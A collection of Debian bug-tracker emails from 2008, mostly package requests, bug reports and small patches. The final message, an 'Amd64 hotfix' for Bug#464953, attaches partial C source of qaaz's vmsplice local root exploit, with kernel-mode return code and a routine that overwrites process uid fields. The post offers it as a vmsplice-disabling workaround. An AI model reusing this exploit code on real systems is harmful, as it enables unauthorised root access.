I haven't checked, but this sounds very similar to #20471. There's a patch in that bug. If you can take some time to verify if it also fixes this issue, it would be nice. I applied this patch on top of current git master (rev 98cdd8883f0661e24ff72d4c29d73554586eddf8), and have been using it today while doing whatever, and it seemed to cause this failure: [EMAIL PROTECTED]:/home/joey/tmp/xterm-231dpkg -i ../xterm_231-2boldmode1_i386.deb dpkg: ../../src/depcon.c:218: depisok: Assertion `dep-type == dep_depends || dep-type == dep_predepends || dep-type == dep_breaks || dep-type == dep_conflicts || dep-type == dep_recommends || dep-type == dep_suggests || dep-type == dep_enhances' failed. Other packages installed ok; I was able to downgrade to unstable's dpkg and then install xterm successfully. Here's the package's header, just in case: Package: xterm Version: 231-2boldmode1 Architecture: i386 Maintainer: Debian X Strike Force [EMAIL PROTECTED] Installed-Size: 1108 Depends: libc6 (= 2.7-1), libfontconfig1 (= 2.4.0), libice6 (= 1:1.0.0), libncurses5 (= 5.6+20071006-3), libsm6, libx11-6, libxaw7, libxext6, libxft2 ( 2.1.1), libxmu6, libxt6, xbitmaps Recommends: xutils Suggests: xfonts-cyrillic Provides: x-terminal-emulator Section: x11 Priority: optional -- see shy jo signature.asc Description: Digital signature
Bug#465248: [Pkg-openssl-devel] long term mass bug filing for cross
build support Reply-To: In-Reply-To: [EMAIL PROTECTED] tags 465248 - patchs thanks Hi, I think it's unlikely that the patch you provided actually works properly. For instance the make test shouldn't be run when cross compiling since it expects to be able to run native code. There might be other things I'm not aware off that might cause problems. I can not apply this patch as is. Kurt -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465333: ITP: libmasking -- Skinnable GUI toolkit for allegro games
Package: wnpp Severity: wishlist Owner: Martijn van Iersel [EMAIL PROTECTED] * Package name: libmasking Version : 0.80 Upstream Author : Miran Amon [EMAIL PROTECTED] * URL : http://members.allegro.cc/miran/masking.html * License : Zlib license Programming Lang: C++ Description : Skinnable GUI toolkit for allegro games MASkinG (Miran Amon's Skinnable GUI) is a simple GUI toolkit for game developers based on the allegro programming library. It has support for skins, movable and resizable windows, additional widgets, etc. -- System Information: Debian Release: testing/unstable APT prefers dapper-updates APT policy: (500, 'dapper-updates'), (500, 'dapper-security'), (500, 'dapper') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-29-686 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465332: Please export source package via SOAP
Package: debbugs Severity: wishlist Hi, As discussed on IRC, please add source package to the list of fields exported via the SOAP interface. Regards, Adam -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465204: ITP: fusil -- Fuzzing program to test applications
On Mon, Feb 11, 2008 at 02:18:05PM +0100, Pierre Chifflier wrote: The description is very unclear to me. [...] Right, the previous description was not clear. I have reworded it, from the README file, and from the author description: Fusil is a fuzzing framework designed to expose bugs in software by changing random bits of its input. It helps to start process with a prepared environment (limit memory, environment variables, redirect stdout, etc.), start network client or server, and create mangled files. Fusil has many probes to detect program crash: watch process exit code, watch process stdout and syslog for text patterns (eg. segmentation fault), watch session duration, watch cpu usage (process and system load), etc. . Fusil is based on a modular architecture. It computes a session score used to guess fuzzing parameters like number of injected errors to input files. . Available fuzzing projects: ClamAV, Firefox (contains an HTTP server), gettext, gstreamer, identify, libc_env, libc_printf, libexif, linux_syscall, mplayer, php, poppler, vim, xterm. Wow, that is much better! The only remark I have is that you can define your own fuzzing projects, I would replace Available in the last paragraph by Pre-defined or something equivalent. Upstream should put your description on their front page :) -- Met vriendelijke groet / with kind regards, Guus Sliepen [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#454350: kernel-package: please add support for KBUILD_OUTPUT
On Wed, Jan 30, 2008 at 01:10:09 +0100, Tino Keitel wrote: Hi, the above patch doesn't work anymore with 2.6.24. No modules are contained in the kernel .deb, only a large file names vmlinuz.o Hi, please scratch the above. It still works with the 2.6.24 kernel. However, kernel-package 11.001-0.1 doesn't work anymore with the patch. I downgraded to 11.001, patched /usr/share/kernel-package/kernel_version.mk and was able to build a kernel .deb out-of-tree again. Regards, Tino -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465143: libical0: 0.30-1 does not install /usr/share/libical/zoneinfo
Hi Fathi, On Sun, 10 Feb 2008 23:46:16 +0100 Fathi Boudra wrote: Is there any reason for the removal of zoneinfo? If this is not a bug, could you please point me to a workaround? This isn't a bug. Since 0.30 release, libical uses the tzdata from the underlying operating system. Bundled tzdata is only used when running on a non-tzdata operating system such as Windows. Thanks a lot for the information and sorry for the noise :-) Just for the sake of completeness: Do I understand it correctly that the set_zone_directory() function is not necessary anymore on *nix systems when using libical = 0.30? Thanks, Eike pgpVrmMfBFo3V.pgp Description: PGP signature
Bug#465331: ITP: cytoscape -- scientific network analysis and visualization
Package: wnpp Severity: wishlist Owner: Martijn van Iersel [EMAIL PROTECTED] * Package name: cytoscape Version : 2.5.2 Upstream Author : Cytoscape Consortium * URL : http://www.cytoscape.org/ * License : LGPL 2.1 Programming Lang: Java Description : scientific network analysis and visualization From the site: Cytoscape is a bioinformatics software platform for visualizing molecular interaction networks and integrating these interactions with gene expression profiles and other state data. Additional features are available as plugins. Plugins are available for network and molecular profiling analyses, new layouts, additional file format support and connection with databases. Plugins may be developed using the Cytoscape open Java software architecture by anyone and plugin community development is encouraged. -- System Information: Debian Release: testing/unstable APT prefers dapper-updates APT policy: (500, 'dapper-updates'), (500, 'dapper-security'), (500, 'dapper') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-29-686 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#233482: Condor now using Apache License 2.0
Hi Condor 7.0.0 was released on Jan 22 2008, and it has used the Apache License 2.0 since the development version 6.9.5: http://parrot.cs.wisc.edu/v7.0.license.html t -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#437354: libqt4-dev: Put qmake into its own package
On Tuesday 12 February 2008, Brian Nelson wrote: Evgeni Golov [EMAIL PROTECTED] writes: Hi, are there any updates on this? I maintain pokerth which needs qmake4, libqt4-core and libqt4-gui, but not -sql, -qt3support etc. At the moment it build-depends on libqt4-dev which fetches way too much stuff in during building, what is annoying :) I don't see any compelling reason to split out qmake, and doing so now would probably break some package builds. I think this should be closed or tagged wontfix. Some of us are talking about reorganizing how qt4 is packaged. for example, libQtCore is quite nice for all sorts of things locally, but you can't install that on debian without pulling all sorts of other things in. The dev package has not yet been discussed, but it might be possible to do something at the same time. /Sune -- I cannot receive a terminale from the control preferences menu within Excel, how does it work? The point is that you never need to debug the directory over a level-5 proxy of a 3D CPU to the icon of the connector over a digital clock. signature.asc Description: This is a digitally signed message part.
Bug#465330: vim-scripts: xml.vim only works for first buffer with ft=xml
Package: vim-scripts Version: 7.1.5 Severity: normal If you have enabled xml.vim from vim-scripts (overriding the xml.vim from vim-runtime), and you load several buffers with filetype xml, the mappings are only loaded for the first xml buffer. I checked the source for 7.1.6 and xml.vim did not change, so this affects both versions. A possible fix is to change the code at the top from this: Only do this when not done yet for this buffer if exists(b:did_ftplugin) || exists(loaded_xml_ftplugin) finish endif let b:did_ftplugin = 1 let loaded_xml_ftplugin = 1 To something like this: if exists(b:did_ftplugin) finish endif let b:did_ftplugin = 1 (copy buffer-local stuff from the bottom of the script to here) if exists(loaded_xml_ftplugin) finish endif let loaded_xml_ftplugin = 1 ...Marvin -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.20 (PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash vim-scripts depends on no packages. Versions of packages vim-scripts recommends: ii vim 1:7.1-241+1 Vi IMproved - enhanced vi editor ii vim-addon-manager0.4 manager of addons for the Vim edit ii vim-gtk [gvim] 1:7.1-241+1 Vi IMproved - enhanced vi editor - -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#457702: Patch for #457702
Tag 457702 + patch
thanks
Hi,
please find a patch attached.
If you want I can prepare an upload for you. Please let me know, then.
If I don't hear anything from you (and don't see this bug fixed :-) I
will prepare an upload as well.
Best Regards,
Patrick
--- system-config-printer-0.7.78/debian/control 2008-02-11 21:19:32.0 +0100
+++ system-config-printer-0.7.78.patched/debian/control 2008-02-11 21:12:12.099656019 +0100
@@ -15,7 +15,7 @@
Architecture: all
Depends: ${shlibs:Depends},
${python:Depends},
- python-cups,
+ python-cups (= 1.9.27),
python-gtk2,
python-glade2,
python-xml
Bug#464004: Ready for RM: haskell-x11-extras
Hi, the new xmonad has been accepted, so there should be nothing left depending on haskell-x11-extras. Feel free to remove it. Greetings, Joachim -- Joachim nomeata Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#465329: linux-wlan-ng-modules* depend on linux-wlan-ng
Package: linux-wlan-ng
Version: 0.2.8+svn1850+dfsg-1
Severity: normal
Tags: patch
With the new kernel modules as of 0.2.8+svn1850+dfsg-1 the linux-wlan-ng
package itself is not strictly needed for many users (mostly only for
those who need firmware RAM loading). However the -modules- packages
have a dependency on it. Maybe it can be changed to a Recommends or
Suggests.
-- System Information:
Debian Release: lenny/sid
APT prefers unstable
APT policy: (500, 'unstable')
Architecture: i386 (i686)
Kernel: Linux 2.6.24-1-486
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages linux-wlan-ng depends on:
ii libc6 2.7-6 GNU C Library: Shared libraries
ii udev 0.114-2/dev/ and hotplug management daemo
ii wireless-tools29-1 Tools for manipulating Linux Wirel
Versions of packages linux-wlan-ng recommends:
ii linux-wlan-ng-doc 0.2.8+svn1850+dfsg-1 documentation for wlan-ng
-- no debconf information
--- control.modules.in.orig 2008-02-09 12:09:31.0 +0100
+++ control.modules.in 2008-02-11 21:53:45.0 +0100
@@ -8,7 +8,6 @@ Standards-Version: 3.7.2
Package: linux-wlan-ng-modules-${kvers}
Provides: linux-wlan-ng-${lwnversmajor}-modules
-Depends: linux-wlan-ng (= ${lwnvers})
Architecture: ${arch}
Description: drivers for wireless prism2 cards
This package contains the set of loadable kernel modules for
Bug#459281: Still present with recent gcj
On Mon, Feb 11, 2008 at 07:42:41PM +0100, Vincent Fourmond wrote: Hello, Michael Koch wrote: On Mon, Feb 04, 2008 at 10:19:26AM +0100, Vincent Fourmond wrote: For information, libjfreechart-java still does not work with gcj 4.3-20080202-1. I have tested 4.3-20080116-1 and 4.3-20080202-1 locally and both worked. The generated image is slightly different to the one generated by SUN but that was to be expected. I wonder if you missed the libgcj9-0-awt package in your installation? Unfortunately, not. I checked again, specifically including the awt library in the classpath (at run-time, does not seem to work at build-time), and I still get a garbled output. Are you using an amd64 architecture ? Could that be a 64bits-only problem ? I tried to reproduce on i386 when it worked. I re-tried on amd64 and now I can reproduce the bug report. Cheers, Michael -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465308: openoffice.org: Latest and Greatest Very Slow
On Monday 11 February 2008 21:37:46 Rene Engelhard wrote: Hi, Rene Engelhard wrote: David Baron wrote: Package: openoffice.org Version: 1:2.3.1-5 Oh, and since when please? Really only since -5? Can't be (-5 just has buildfixes) Grüße/Regards, René Could have been since 1-4 or 1-3. There have been several upgrades on Sid the last week or so. I did not use the program every day.
Bug#449350: No reason to keep debmirror out of testing
Alexander E. Patrakov wrote: tags 449350 unreproducible severity 449350 normal thanks Hello Luk, Hi you have blocked debmirror out of testing due to bug #449350. However, with a fully up-to-date Lenny install, I can't reproduce the bug (even the original testcase), and therefore it definitely doesn't make the package unusable for me. The original submitter did find a workaround, so the package isn't unusable for him, too. Thus, the bug is either not RC at all, or belongs to a different package (and the proper title is package ZZZ version YYY breaks debmirror). Please reconsider your decision to block the package from testing. Why is this information only added to the bug log after it has been removed from testing? Note that if you found that an RC bug is not reproducible, you can downgrade it to important till you are able to reproduce it. Cheers Luk -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465308: openoffice.org: Latest and Greatest Very Slow
David Baron wrote: Package: openoffice.org Version: 1:2.3.1-5 Severity: important Latest and greatest of Sid is so slow as to be virtually unusable. Sid is not latest and greatest :) Please try with 2.4. And please actually check for similar bugreports already reported. Thanks. (Theer are some)+ Grüße/Regards, René -- .''`. René Engelhard -- Debian GNU/Linux Developer : :' : http://www.debian.org | http://people.debian.org/~rene/ `. `' [EMAIL PROTECTED] | GnuPG-Key ID: 248AEB73 `- Fingerprint: 41FA F208 28D4 7CA5 19BB 7AD9 F859 90B0 248A EB73 signature.asc Description: Digital signature
Bug#465308: openoffice.org: Latest and Greatest Very Slow
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi, Rene Engelhard wrote: David Baron wrote: Package: openoffice.org Version: 1:2.3.1-5 Oh, and since when please? Really only since -5? Can't be (-5 just has buildfixes) Grüße/Regards, René - -- .''`. René Engelhard -- Debian GNU/Linux Developer : :' : http://www.debian.org | http://people.debian.org/~rene/ `. `' [EMAIL PROTECTED] | GnuPG-Key ID: 248AEB73 `- Fingerprint: 41FA F208 28D4 7CA5 19BB 7AD9 F859 90B0 248A EB73 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHsKQK+FmQsCSK63MRAsR+AJ9YupBEGVl+qlQTs+1x9ztWd7KMdwCdHrGO EQNPJk4tR6rrpzX1IVJcdu4= =Ji5k -END PGP SIGNATURE-
Bug#446343: severity of 446343 is important
# Automatically generated email from bts, devscripts version 2.10.14 # unreproducible severity 446343 important -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465315: select() to /dev/rtc to wait for clock tick timed out
Package: Kernel debian:/home/linux# uname -a Linux debian 2.6.22-3-486 #1 Mon Nov 12 07:53:08 UTC 2007 i686 GNU/Linux when i type debian:/home/linux# hwclock --show select() to /dev/rtc to wait for clock tick timed out its show me select() to /dev/rtc to wait for clock tick timed out i think problem with kernel /dev/rtc I use laptop compaq presario V3000 V3164AU I am using Debian GNU/Linux 2.6, kernel 2.6.22-3-486, Debian Lenny
Bug#465313: yap: mktemp implicitly converted to pointer
Package: yap Version: 5.1.1-1 Severity: important Usertags: implicit-pointer-conversion Our automated buildd log filter[1] detected a problem that is likely to cause your package to segfault on architectures where the size of a pointer is greater than the size of an integer, such as ia64 and amd64. Function `mktemp' implicitly converted to pointer at ../../../library/system/sys.c:448 This is often due to a missing function prototype definition. For more information, see [2]. It appears that stdlib.h isn't getting included by sys.c, possibly a configure-time problem. [1] http://people.debian.org/~dannf/check-implicit-pointer-functions [2] http://wiki.debian.org/ImplicitPointerConversions -- dann frazier -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465311: k3b: fails with symbol lookup error
Package: k3b Version: 1.0.4-6 Severity: grave Justification: renders package unusable K3b sporadically fails with the following message (current guess is that it crashed when reading the media): k3b: symbol lookup error: /usr/lib/libk3b.so.3: undefined symbol: stat64 -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-toi-rc5 (SMP w/1 CPU core) Locale: LANG=ru_RU.UTF-8, LC_CTYPE=ru_RU.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages k3b depends on: ii cdparanoia 3.10+debian~pre0-6 audio extraction tool for sampling ii cdrdao 1:1.2.2-11 records CDs in Disk-At-Once (DAO) ii genisoimage 9:1.1.6-1 Creates ISO-9660 CD-ROM filesystem ii k3b-data 1.0.4-6 A sophisticated KDE CD burning app ii kdelibs-data 4:3.5.8.dfsg.1-7core shared data for all KDE appli ii kdelibs4c2a 4:3.5.8.dfsg.1-7core libraries and binaries for al ii libacl1 2.2.45-1Access control list shared library ii libart-2.0-2 2.3.20-1Library of functions for 2D graphi ii libattr1 1:2.4.39-1 Extended attribute shared library ii libaudio21.9.1-1 Network Audio System - shared libr ii libc62.7-6 GNU C Library: Shared libraries ii libdbus-1-3 1.1.2-1 simple interprocess messaging syst ii libdbus-qt-1-1c2 0.62.git.20060814-2 simple interprocess messaging syst ii libdvdread3 0.9.7-6 library for reading DVDs ii libexpat11.95.8-4XML parsing C library - runtime li ii libfam0 2.7.0-13.1 Client library to control the FAM ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1 FreeType 2 font engine, shared lib ii libgcc1 1:4.3-20080202-1GCC support library ii libhal1 0.5.10-5Hardware Abstraction Layer - share ii libice6 2:1.0.4-1 X11 Inter-Client Exchange library ii libidn11 1.4-1 GNU libidn library, implementation ii libjpeg626b-14 The Independent JPEG Group's JPEG ii libk3b3 1.0.4-6 The KDE cd burning application lib ii libmusicbrainz4c2a 2.1.5-1 Second generation incarnation of t ii libpng12-0 1.2.15~beta5-3 PNG library - runtime ii libqt3-mt3:3.3.8b-1 Qt GUI Library (Threaded runtime v ii libsm6 2:1.0.3-1+b1X11 Session Management library ii libstdc++6 4.3-20080202-1 The GNU Standard C++ Library v3 ii libx11-6 2:1.1.1-1 X11 client-side library ii libxcursor1 1:1.1.9-1 X cursor management library ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxft2 2.1.12-2FreeType-based font drawing librar ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii libxrender1 1:0.9.4-1 X Rendering Extension client libra ii libxt6 1:1.0.5-3 X11 toolkit intrinsics library ii wodim9:1.1.6-1 command line CD/DVD writing tool ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime Versions of packages k3b recommends: ii dvd+rw-tools7.0-9DVD+-RW/R tools ii kcontrol4:3.5.8.dfsg.1-7 control center for KDE ii kdebase-kio-plugins 4:3.5.8.dfsg.1-7 core I/O slaves for KDE ii vcdimager 0.7.23-4 A VideoCD (VCD) image mastering an -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464953: Amd64 hotfix
On Mon, Feb 11, 2008 at 01:54:35PM -0500, Ivan Jager wrote: I modified the hotfix so it will also patch compat_sys_vmsplice, which would be important on amd64 boxen with x86 compatibility enabled. these hotfixes are so completely wrong, it's not even funny. you're playing russian roulette with the return value. 0: b8 da ff ff ff mov$0xffda,%eax 5: c3 retq is more correct (return -ENOSYS) regards, kyle -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459896: Seems to happen again with 4.3.5
found 459896 4.3.5-1
stop
Hi,
Was the fix applied for the 4.3.5 branch?
I just got it again with zsh 4.3.5-1:
(gdb) bt full
#0 0x080a1dd3 in pattryrefs ()
No symbol table info available.
#1 0x080a2678 in pattry ()
No symbol table info available.
#2 0x08097404 in scanparamvals ()
No symbol table info available.
#3 0xb7affcc6 in scanpmcommands (ht=0x81c65a0,
func=0x80972b0 scanparamvals, flags=42)
at ../../../Src/Modules/parameter.c:265
pm = {node = {next = 0x0, nam = 0x8107780 yacc, flags = 0}, u = {
data = 0x0, arr = 0x0, str = 0x0, val = 0, valptr = 0x0, dval = 0,
hash = 0x0}, gsu = {s = 0xb7b01790, i = 0xb7b01790, f = 0xb7b01790,
a = 0xb7b01790, h = 0xb7b01790}, base = 0, width = 0, env = 0x0,
ename = 0x0, old = 0x0, level = 0}
i = 0
hn = (HashNode) 0x8107768
Bye,
--
Loïc Minier
Bug#462171: importing DjVu files fails, hogs memory (was: Bug#461076: importing PDFs causes /tmp/ overflow)
On 08/02/2008, Jeffrey Ratcliffe [EMAIL PROTECTED] wrote: djvudump to dig out the number of pages run ddjvu once per page to dig out each page import each page I've committed changeset 5037915bc5b7 to do this. I would be interested to see if your 170 page djvu is now better handled. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465306: evolution: show the photograph of sender preference is inverted
Package: evolution Version: 2.12.3-1 Severity: minor Hi, If the Show the photograph of sender in the email preview box is checked, the pictures are actually *not* shown, whereas they are if the box isn't checked. This doesn't give access to the preference below, allowing to search for the pictures in the local address book only. Cheers, Julien -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-1-amd64 (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages evolution depends on: ii dbus 1.1.2-1 simple interprocess messaging syst ii evolution-common 2.12.3-1 architecture independent files for ii evolution-data-server 1.12.3-1 evolution database backend server ii gconf2 2.20.1-2+b1 GNOME configuration database syste ii gnome-icon-theme 2.20.0-1 GNOME Desktop icon theme ii gtkhtml3.143.16.1-1 HTML rendering/editing library - b ii libart-2.0-2 2.3.20-1 Library of functions for 2D graphi ii libatk1.0-01.20.0-1 The ATK accessibility toolkit ii libbonobo2-0 2.21.90-1 Bonobo CORBA interfaces library ii libbonoboui2-0 2.21.90-1 The Bonobo UI library ii libc6 2.7-6 GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libcamel1.2-10 1.12.3-1 The Evolution MIME message handlin ii libdbus-1-31.1.2-1 simple interprocess messaging syst ii libdbus-glib-1-2 0.74-1simple interprocess messaging syst ii libebook1.2-9 1.12.3-1 Client library for evolution addre ii libecal1.2-7 1.12.3-1 Client library for evolution calen ii libedataserver1.2-91.12.3-1 Utility library for evolution data ii libedataserverui1.2-8 1.12.3-1 GUI utility library for evolution ii libegroupwise1.2-131.12.3-1 Client library for accessing group ii libexchange-storage1.2 1.12.3-1 Backend library for evolution cale ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1FreeType 2 font engine, shared lib ii libgconf2-42.20.1-2+b1 GNOME configuration database syste ii libglade2-01:2.6.2-1 library to load .glade files at ru ii libglib2.0-0 2.14.6-1 The GLib library of C routines ii libgnome-pilot22.0.15-2.1Support libraries for gnome-pilot ii libgnome2-02.20.1.1-1The GNOME 2 library - runtime file ii libgnomecanvas2-0 2.20.1.1-1A powerful object-oriented display ii libgnomeui-0 2.20.1.1-1The GNOME 2 libraries (User Interf ii libgnomevfs2-0 1:2.20.1-1GNOME Virtual File System (runtime ii libgnutls132.0.4-1 the GNU TLS library - runtime libr ii libgtk2.0-02.12.7-1 The GTK+ graphical user interface ii libgtkhtml3.14-19 3.16.1-1 HTML rendering/editing library - r ii libhal10.5.10-5 Hardware Abstraction Layer - share ii libice62:1.0.4-1 X11 Inter-Client Exchange library ii libldap-2.4-2 2.4.7-5 OpenLDAP libraries ii libnm-glib00.6.5-5 network management framework (GLib ii libnotify1 [libnotify1 0.4.4-3 sends desktop notifications to a n ii libnspr4-0d4.7.0~1.9b1-2 NetScape Portable Runtime Library ii libnss3-1d 3.12.0~1.9b1-2Network Security Service libraries ii liborbit2 1:2.14.10-0.1 libraries for ORBit2 - a CORBA ORB ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpisock9 0.12.3-2 library for communicating with a P ii libpisync1 0.12.3-2 synchronization library for PalmOS ii libpng12-0 1.2.15~beta5-3PNG library - runtime ii libpopt0 1.10-3lib for parsing cmdline parameters ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libsoup2.2-8 2.2.104-1 an HTTP library implementation in ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcursor11:1.1.9-1 X cursor management library ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxfixes3 1:4.0.3-2 X11 miscellaneous 'fixes' extensio ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii
Bug#461401: Patch.
tags 461401 +patch
thanks
Hello:
I'm attaching a patch for the issue. Currently it is untested, hope to test
it as soon as I have some more time.
HTH,
--
Raúl Sánchez Siles
-Proud Debian user-
Linux registered user #416098
Index: kdebase/debian/kcontrol.preinst
===
--- kdebase/debian/kcontrol.preinst (revisión: 9397)
+++ kdebase/debian/kcontrol.preinst (copia de trabajo)
@@ -1,12 +1,37 @@
#! /bin/sh -e
+# Remove a no-longer used conffile
+rm_conffile() {
+PKGNAME=$1
+CONFFILE=$2
+if [ -e $CONFFILE ]; then
+md5sum=`md5sum \$CONFFILE\ | sed -e \s/ .*//\`
+old_md5sum=`dpkg-query -W -f='${Conffiles}' $PKGNAME | sed -n -e \' $CONFFILE'{s/ obsolete$//;s/.* //p}\`
+if [ $md5sum != $old_md5sum ]; then
+echo Obsolete conffile $CONFFILE has been modified by you.
+echo Saving as $CONFFILE.dpkg-bak ...
+mv -f $CONFFILE $CONFFILE.dpkg-bak
+else
+echo Removing obsolete conffile $CONFFILE ...
+rm -f $CONFFILE
+fi
+fi
+}
+
+#4:3.5.7-4 Last deployed hotplug and hence
+# /etc/hotplug/usb/logitechmouse{,.usermap}
+#are not provided anymore. Remove them from future packages.
case $1 in
-upgrade)
- rm -f /etc/kde3/kuriikwsfilterrc
-;;
+install|upgrade)
+ if [ -e /etc/kde3/kuriikwsfilterrc ]; then
+ rm -f /etc/kde3/kuriikwsfilterrc
+ fi
+ if dpkg --compare-versions $2 le 4:3.5.7-4; then
+ rm_conffile kcontrol /etc/hotplug/usb/logitechmouse
+ rm_conffile kcontrol /etc/hotplug/usb/logitechmouse.usermap
+ fi
-install)
;;
abort-upgrade)
signature.asc
Description: This is a digitally signed message part.
Bug#464953: Amd64 hotfix
I modified the hotfix so it will also patch compat_sys_vmsplice, which
would be important on amd64 boxen with x86 compatibility enabled.
It's attached, or if for some reason it doesn't make it through, you can
fetch it from
http://www.andrew.cmu.edu/~aij/disable-vmsplice-if-exploitable-aij.c
Ivan/*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*/
#define _GNU_SOURCE
#include stdio.h
#include errno.h
#include stdlib.h
#include string.h
#include malloc.h
#include limits.h
#include signal.h
#include unistd.h
#include sys/uio.h
#include sys/mman.h
#include fcntl.h
#include asm/page.h
#define __KERNEL__
#include asm/unistd.h
#define PIPE_BUFFERS16
#define PG_compound 14
#define uintunsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x)(x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
voidexit_code();
charexit_stack[1024 * 1024];
voiddie(char *msg, int err)
{
printf(err ? [-] %s: %s\n : [-] %s\n, msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
movl %0, 0x10(%%esp) ;
movl %1, 0x0c(%%esp) ;
movl %2, 0x08(%%esp) ;
movl %3, 0x04(%%esp) ;
movl %4, 0x00(%%esp) ;
iret
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movl %%esp, %%eax ;
andl %1, %%eax ;
movl (%%eax), %0
: =r (curr)
: i (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
swapgs ;
movq %0, 0x20(%%rsp) ;
movq %1, 0x18(%%rsp) ;
movq %2, 0x10(%%rsp) ;
movq %3, 0x08(%%rsp) ;
movq %4, 0x00(%%rsp) ;
iretq
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movq %%gs:(0), %0
: =r (curr)
);
return (void *) curr;
}
#else
#error unsupported arch
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
voidkernel_code()
{
int i;
uint*p = get_current();
for (i = 0; i 1024-13; i++) {
if (p[0] == uid p[1] == uid
p[2] == uid p[3] == uid
